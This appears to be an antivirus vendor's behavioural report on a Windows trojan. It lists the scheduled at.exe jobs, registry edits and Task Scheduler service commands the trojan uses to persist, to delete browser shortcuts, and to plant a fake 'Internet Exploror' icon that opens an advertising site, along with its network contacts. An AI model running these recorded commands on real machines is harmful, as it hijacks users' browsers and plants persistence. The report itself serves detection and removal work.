Trojan.Click2.44171

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

%WINDIR%\Tasks\At48.job
%WINDIR%\Tasks\At49.job
%WINDIR%\Tasks\At46.job
%WINDIR%\Tasks\At47.job
%WINDIR%\Tasks\At52.job
%WINDIR%\Tasks\At53.job
%WINDIR%\Tasks\At50.job
%WINDIR%\Tasks\At51.job
%WINDIR%\Tasks\At45.job
%WINDIR%\Tasks\At39.job
%WINDIR%\Tasks\At40.job
%WINDIR%\Tasks\At37.job
%WINDIR%\Tasks\At38.job
%WINDIR%\Tasks\At43.job
%WINDIR%\Tasks\At44.job
%WINDIR%\Tasks\At41.job
%WINDIR%\Tasks\At42.job
%WINDIR%\Tasks\At54.job
%WINDIR%\Tasks\At66.job
%WINDIR%\Tasks\At67.job
%WINDIR%\Tasks\At64.job
%WINDIR%\Tasks\At65.job
%WINDIR%\Tasks\At70.job
%WINDIR%\Tasks\At71.job
%WINDIR%\Tasks\At68.job
%WINDIR%\Tasks\At69.job
%WINDIR%\Tasks\At63.job
%WINDIR%\Tasks\At57.job
%WINDIR%\Tasks\At58.job
%WINDIR%\Tasks\At55.job
%WINDIR%\Tasks\At56.job
%WINDIR%\Tasks\At61.job
%WINDIR%\Tasks\At62.job
%WINDIR%\Tasks\At59.job
%WINDIR%\Tasks\At60.job
%WINDIR%\Tasks\At36.job
%WINDIR%\Tasks\At12.job
%WINDIR%\Tasks\At13.job
%WINDIR%\Tasks\At10.job
%WINDIR%\Tasks\At11.job
%WINDIR%\Tasks\At16.job
%WINDIR%\Tasks\At17.job
%WINDIR%\Tasks\At14.job
%WINDIR%\Tasks\At15.job
%WINDIR%\Tasks\At9.job
%WINDIR%\Tasks\At3.job
%WINDIR%\Tasks\At4.job
%WINDIR%\Tasks\At1.job
%WINDIR%\Tasks\At2.job
%WINDIR%\Tasks\At7.job
%WINDIR%\Tasks\At8.job
%WINDIR%\Tasks\At5.job
%WINDIR%\Tasks\At6.job
%WINDIR%\Tasks\At18.job
%WINDIR%\Tasks\At30.job
%WINDIR%\Tasks\At31.job
%WINDIR%\Tasks\At28.job
%WINDIR%\Tasks\At29.job
%WINDIR%\Tasks\At34.job
%WINDIR%\Tasks\At35.job
%WINDIR%\Tasks\At32.job
%WINDIR%\Tasks\At33.job
%WINDIR%\Tasks\At27.job
%WINDIR%\Tasks\At21.job
%WINDIR%\Tasks\At22.job
%WINDIR%\Tasks\At19.job
%WINDIR%\Tasks\At20.job
%WINDIR%\Tasks\At25.job
%WINDIR%\Tasks\At26.job
%WINDIR%\Tasks\At23.job
%WINDIR%\Tasks\At24.job

Creates the following services:

[<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'

Malicious functions:

Executes the following:

<SYSTEM32>\at.exe 20:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 20:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 21:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 19:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 19:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 20:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 22:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 22:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 23:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 21:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 21:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 22:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 16:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 16:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 17:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 15:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 15:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 16:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 18:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 18:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 19:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 17:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 17:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 18:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 23:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 19:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
<SYSTEM32>\at.exe 21:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп*.*"
<SYSTEM32>\at.exe 21:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*фп*.*"
<SYSTEM32>\at.exe 19:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
<SYSTEM32>\at.exe 19:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*фп*.*"
<SYSTEM32>\at.exe 19:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdit\is.cmd
<SYSTEM32>\at.exe 14:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
<SYSTEM32>\at.exe 18:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
<SYSTEM32>\at.exe 21:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
<SYSTEM32>\at.exe 21:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdit\is.cmd
<SYSTEM32>\at.exe 21:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп*.*"
<SYSTEM32>\at.exe 9:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
<SYSTEM32>\at.exe 00:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 10:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
<SYSTEM32>\at.exe 10:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*фп└└*.*"
<SYSTEM32>\at.exe 23:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 00:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
<SYSTEM32>\at.exe 00:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explore*.*"
<SYSTEM32>\at.exe 14:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*фп*.*"
<SYSTEM32>\at.exe 14:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdit\is.cmd
<SYSTEM32>\at.exe 14:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
<SYSTEM32>\at.exe 10:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdit\is.cmd
<SYSTEM32>\at.exe 10:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
<SYSTEM32>\at.exe 14:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
<SYSTEM32>\at.exe 15:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)\Command" /ve /t REG_SZ /d "%PROGRAM_FILES%\Internet Explorer\iexplore.exe http:\\dao666.com\?ha" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)\Command"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)\Command"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)\Command" /ve /t REG_SZ /d "%PROGRAM_FILES%\Internet Explorer\iexplore.exe http:\\dao666.com\?ha" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "InfoTip" /t REG_SZ /d "▓щ╒╥▓в╧╘╩╛ Internet ╔╧╡─╨┼╧в║══°╒╛" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "LocalizedString" /t REG_SZ /d "Internet Exploror" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon"
<SYSTEM32>\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d 1 /f
%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://da##66.com/index2.html?ha
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell" /ve /t REG_SZ /d "┤Є┐к╓ў╥│(&H)" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
<SYSTEM32>\reg.exe ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
<SYSTEM32>\at.exe 12:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 12:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 12:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 11:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 11:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 11:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 14:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 14:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 14:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 13:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 13:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 13:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 8:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 8:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 8:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\sc.exe create Schedule binpath= "%WINDIR%\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
<SYSTEM32>\sc.exe config Schedule start= auto
<SYSTEM32>\net1.exe start "Task Scheduler"
<SYSTEM32>\at.exe 10:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 10:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 10:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
<SYSTEM32>\at.exe 9:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
<SYSTEM32>\at.exe 9:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
<SYSTEM32>\at.exe 9:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"

Modifies settings of Windows Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoInternetIcon' = '00000001'

Modifies file system :

Creates the following files:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\index2[1].html
%TEMP%\~1.bat

Sets the 'hidden' attribute to the following files:

%TEMP%\~1.bat

Deletes the following files:

%TEMP%\~1.bat

Network activity:

Connects to:

'da##66.com':80
'localhost':1035

TCP:

HTTP GET requests:

da##66.com/index2.html?ha

UDP:

DNS ASK da##66.com

Miscellaneous:

Searches for the following windows:

ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebcheckMonitor' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''

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